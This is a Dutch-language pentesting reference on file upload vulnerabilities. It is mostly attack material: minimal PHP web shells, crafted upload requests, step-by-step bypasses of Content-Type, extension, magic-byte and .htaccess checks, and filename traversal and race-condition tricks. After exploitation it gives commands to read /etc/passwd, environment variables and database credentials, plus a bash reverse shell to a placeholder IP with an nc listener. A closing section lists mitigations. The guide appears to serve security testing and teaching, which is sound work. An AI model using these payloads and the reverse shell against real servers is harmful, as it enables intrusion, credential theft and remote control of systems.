Skip to content

File Upload Vulnerabilities

Volledige Referentiegids


1. Wat zijn File Upload Vulnerabilities?

File upload functionaliteit is een veelvoorkomend aanvalsoppervlak. Wanneer een server onvoldoende valideert wat er geüpload wordt, kan een aanvaller kwaadaardige bestanden plaatsen die leiden tot Remote Code Execution (RCE), informatielekken, of server-side aanvallen.

Aanvaller uploadt shell.php → server slaat op → aanvaller roept URL aan → RCE

De ernst hangt af van twee factoren: - Welke aspecten van het bestand worden gevalideerd (type, inhoud, extensie) - Wat de server doet met het bestand na de upload


2. Impact

Impact Voorbeeld
Remote Code Execution Web shell uploaden → OS-commando's uitvoeren
Server-side aanvallen SSRF triggeren via geüpload SVG of XML
Client-side aanvallen XSS via geüploade HTML of SVG
Directory traversal Bestand buiten de bedoelde map plaatsen
DoS Extreem grote bestanden uploaden
Informatielek Bestandsinhoud of serverpad lekt in response

3. Hoe werkt een web shell?

Een web shell is een bestand dat server-side code bevat die OS-commando's uitvoert wanneer het aangeroepen wordt via HTTP.

PHP web shell (minimaal)

<?php echo system($_GET['cmd']); ?>

Aanroepen via:

GET /uploads/shell.php?cmd=id HTTP/1.1
→ uid=33(www-data) gid=33(www-data) groups=33(www-data)

PHP web shell (volledig)

<?php echo "<pre>" . system($_GET['cmd']) . "</pre>"; ?>

4. Aanvalstechnieken

4a. Geen validatie — directe upload

De makkelijkste variant: de server accepteert alles zonder enige controle.

POST /upload HTTP/1.1
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream

<?php echo system($_GET['cmd']); ?>

Daarna: GET /uploads/shell.php?cmd=whoami


4b. Content-Type validatie omzeilen

De server controleert de Content-Type header in het request — maar deze header wordt door de client gestuurd en is volledig controleerbaar.

Bypass: verander de Content-Type naar een toegestaan type terwijl de inhoud kwaadaardig blijft:

Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg        ← aangepast in Burp Repeater

<?php echo system($_GET['cmd']); ?>

De server denkt dat het een JPEG is — maar het is PHP.


4c. Extensie blacklist omzeilen

De server blokkeert .php maar heeft een onvolledige blacklist.

Alternatieve PHP-extensies die vaak werken:

.php3
.php4
.php5
.php7
.phtml
.phar
.shtml

Test elke variant — sommige servers voeren al deze extensies uit als PHP.

Hoofdlettervariant:

shell.PHP
shell.Php
shell.pHp

4d. Extensie whitelist omzeilen — dubbele extensie

De server staat alleen .jpg toe maar valideert alleen het laatste deel:

shell.php.jpg       ← eindigt op .jpg → whitelist check ok
                    ← server parseert als PHP door Apache-configuratie

Of omgekeerd — sommige servers kijken naar de eerste extensie:

shell.jpg.php

4e. Null byte injection

In legacy systemen (PHP < 5.3.4, C-gebaseerde validatie):

shell.php%00.jpg

De null byte termineert de string bij de validatiecheck → ziet .jpg Het OS negeert alles na \0 → slaat op als shell.php


4f. Content-type via magic bytes spoofing

Sommige servers valideren de bestandsinhoud via magic bytes (de eerste bytes van een bestand bepalen het bestandstype).

JPEG magic bytes: FF D8 FF

Payload met geldige magic bytes + PHP code:

FF D8 FF E0          ← geldige JPEG header
...                  ← minimale JPEG structuur
<?php system($_GET['cmd']); ?>   ← payload onderaan

In de praktijk: gebruik een legitieme JPEG en injecteer de payload via ExifTool in de metadata:

exiftool -Comment="<?php system(\$_GET['cmd']); ?>" legitiem.jpg -o shell.jpg

De server valideert de JPEG-structuur → goedgekeurd De server verwerkt het bestand als PHP → RCE

Werkt alleen als de server de geüploade bestanden als PHP uitvoert, wat bij afbeeldingen normaal niet het geval is. Vereist bijkomende misconfiguratie of path traversal om effectief te zijn.


4g. .htaccess misbruik (Apache)

Als je een .htaccess bestand kunt uploaden naar de uploadmap, kun je Apache instrueren om een specifieke extensie als PHP uit te voeren:

AddType application/x-httpd-php .jpg

Na het uploaden van dit .htaccess bestand behandelt Apache alle .jpg bestanden in die map als PHP.

Daarna upload je een normale .jpg met PHP-payload:

shell.jpg → wordt uitgevoerd als PHP dankzij .htaccess

Aanvalsvolgorde:

1. Upload .htaccess met AddType instructie
2. Upload shell.jpg met PHP payload
3. Roep shell.jpg aan via browser → RCE

4h. Directory traversal via bestandsnaam

Als de server de bestandsnaam uit de upload gebruikt zonder sanitisatie:

filename="../shell.php"
filename="..%2Fshell.php"

Het bestand belandt buiten de uploadmap — mogelijk in een map die wél PHP uitvoert.


4i. Race condition exploit

Sommige servers uploaden het bestand tijdelijk, valideren het, en verwijderen het als het ongeldig is. Er bestaat een kort venster tussen upload en verwijdering.

Aanpak:

  1. Upload kwaadaardig bestand
  2. Stuur onmiddellijk (parallel) een request naar het geüploade bestand
  3. Als de timing klopt → bestand wordt uitgevoerd vóór verwijdering

Venster vergroten:

Upload een groot bestand met de payload vooraan, gevolgd door veel padding:

<?php system($_GET['cmd']); ?>[10MB aan AAAA...]

De server is langer bezig met verwerken → grotere kans op succesvolle race.

Als de tijdelijke map een pseudo-random naam heeft gegenereerd via uniqid() (tijdstempel-gebaseerd), is de naam brute-forceable via Burp Turbo Intruder.


4j. Upload via URL (server-side fetch)

Sommige applicaties laten toe een URL op te geven in plaats van een bestand te uploaden. De server haalt het bestand zelf op — dit is in essentie een SSRF-vector maar kan ook gebruikt worden om kwaadaardige bestanden te laten ophalen van een externe server die jij controleert.


5. Waar staat het geüploade bestand?

Na een succesvolle upload moet je het bestand kunnen aanroepen. Zoek de uploadlocatie via:

  • Response na upload — server geeft het pad terug
  • Broncode van de pagina<img src="/uploads/filename.jpg">
  • Burp sitemap — scan de applicatie na upload
  • Veelgebruikte standaardpaden:
/uploads/
/files/
/media/
/images/
/static/uploads/
/user/avatar/
/assets/

6. Testen — Stap voor stap

Stap 1 — Baseline: wat accepteert de server?

Upload een legitiem bestand (echte JPEG) → controleer of het werkt en waar het terechtkomt.

Stap 2 — Directe PHP upload

Upload shell.php → bekijk de response: - Geaccepteerd en uitvoerbaar? → directe RCE - Geblokkeerd op extensie? → ga naar stap 3 - Geblokkeerd op Content-Type? → ga naar stap 4

Stap 3 — Alternatieve extensies testen

shell.php3 / .php5 / .phtml / .phar / .PHP / .Php

Gebruik Burp Intruder met een extensie-woordenlijst.

Stap 4 — Content-Type bypass

Verander Content-Type: application/x-php naar Content-Type: image/jpeg in Burp Repeater.

Stap 5 — Magic bytes spoofing

Voeg JPEG magic bytes toe aan het begin van de PHP payload:

ÿØÿà<?php system($_GET['cmd']); ?>

Of gebruik ExifTool om payload in metadata te injecteren.

Stap 6 — .htaccess upload (Apache)

Probeer een .htaccess bestand te uploaden met:

AddType application/x-httpd-php .jpg

Stap 7 — Dubbele extensie / null byte

shell.php.jpg
shell.php%00.jpg
shell.jpg.php

Stap 8 — Directory traversal via filename

filename="../shell.php"
filename="..%2Fshell.php"

7. Automatische detectie — Burp Suite

Wat Burp WEL detecteert

  • Basis file upload zonder validatie (actieve scan)
  • Content-Type mismatches
  • Bekende webshell-extensies die geaccepteerd worden

Wat Burp NIET automatisch detecteert

Blinde hoek Reden
.htaccess upload aanval Vereist meerdere stappen
Race conditions Timing-gebaseerd, moeilijk automatiseerbaar
Magic bytes spoofing Vereist binaire payloadconstructie
Directory traversal via filename Contextafhankelijk
Null byte injection Minder relevant in moderne systemen
Burp active scan = detecteert low-hanging fruit
Manueel testen   = noodzakelijk voor de meeste bypasses

8. Tools

Tool Gebruik
Burp Suite Pro Repeater voor bypass-tests, Intruder voor extensie-fuzzing
Burp Turbo Intruder Race condition exploitatie
ExifTool Payload injecteren in afbeeldingsmetadata
ExifTool (Windows) exiftool.exe van exiftool.org of via WSL2 apt install exiftool
ffuf Uploadpad bruteforcen
SecLists /Discovery/Web-Content/ voor uploadpaden

9. Na bevestiging — vervolgstappen

Web shell actief
    │
    ├─ whoami / id           → welke user draait de server?
    ├─ cat /etc/passwd        → gebruikerslijst
    ├─ env                    → omgevingsvariabelen / credentials
    ├─ ls -la /var/www/       → applicatiestructuur verkennen
    ├─ cat config.php         → database credentials
    ├─ netstat -an            → interne services / open poorten
    └─ Pivot naar reverse shell voor interactieve toegang

Reverse shell via web shell

# Via web shell aanroepen:
?cmd=bash -c 'bash -i >& /dev/tcp/JOUW_IP/4444 0>&1'

# Listener op jouw machine:
nc -lvnp 4444

10. Mitigaties

  • Valideer op de server — nooit vertrouwen op Content-Type header van de client
  • Whitelist van toegestane extensies — geen blacklist
  • Hernoem geüploade bestanden — gebruik een UUID, nooit de originele bestandsnaam
  • Sla bestanden op buiten de webroot — bestanden in /var/uploads/ zijn niet direct via HTTP bereikbaar
  • Serveer bestanden via een apart domeinuploads.example.com zonder PHP-uitvoering
  • Schakel uitvoering uit in de uploadmap — Apache/Nginx configuratie:
# Apache — voorkomt uitvoering van scripts in uploadmap
<Directory /var/www/html/uploads>
    php_flag engine off
    Options -ExecCGI
    AddHandler cgi-script .php .php3 .php4 .phtml .phar
</Directory>
  • Valideer bestandsinhoud — controleer magic bytes én bestandsstructuur
  • Beperk bestandsgrootte — voorkomt DoS en verkleint race condition venster
  • Gebruik een CDN of object storage (S3, Cloudflare R2) — geen server-side uitvoering mogelijk